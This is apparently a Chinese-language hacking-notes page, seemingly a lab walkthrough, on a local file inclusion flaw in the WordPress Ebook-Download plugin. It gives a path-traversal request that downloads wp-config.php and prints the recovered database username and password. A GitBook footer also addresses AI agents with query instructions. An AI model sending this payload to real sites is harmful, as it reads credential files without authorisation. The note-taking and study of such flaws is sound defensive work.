> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/wordpress-plugin-ebook-download-lfi.md).

# WordPress 插件 - Ebook-Download（LFI）

## Ebook-Download 漏洞 - LFI

搜索中 **wp-content/plugins** 以发现已启用的插件：

```
/wp-content/plugins
```

<figure><img src="/files/54ccf6e0b4e6b0a0522be0a457fdb3292c26d282" alt=""><figcaption></figcaption></figure>

该 **ebook-download** 插件存在一个可通过以下方式利用的 LFI 漏洞：

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="/files/d2c2408ee77d3f95f7e41c57680d3da925633d26" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb7454e8b61d5736ee7fb7b6fdde00e048d8bf94" alt=""><figcaption></figcaption></figure>

此请求会下载任意文件。恢复 `wp-config.php` 会泄露敏感数据。

<figure><img src="/files/a28dea4c7009fcf50928dfce5cfeaf9786b510c0" alt=""><figcaption></figcaption></figure>

恢复出的信息如下：

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="/files/a394dced81b774b3172c0f2e62589bb5f1f67fa0" alt=""><figcaption></figcaption></figure>

此信息不能用于登录到 `wp-admin` 界面，

<figure><img src="/files/8bab28225541535c8c93072c0ed34d6ad9ab0c33" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/wordpress-plugin-ebook-download-lfi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
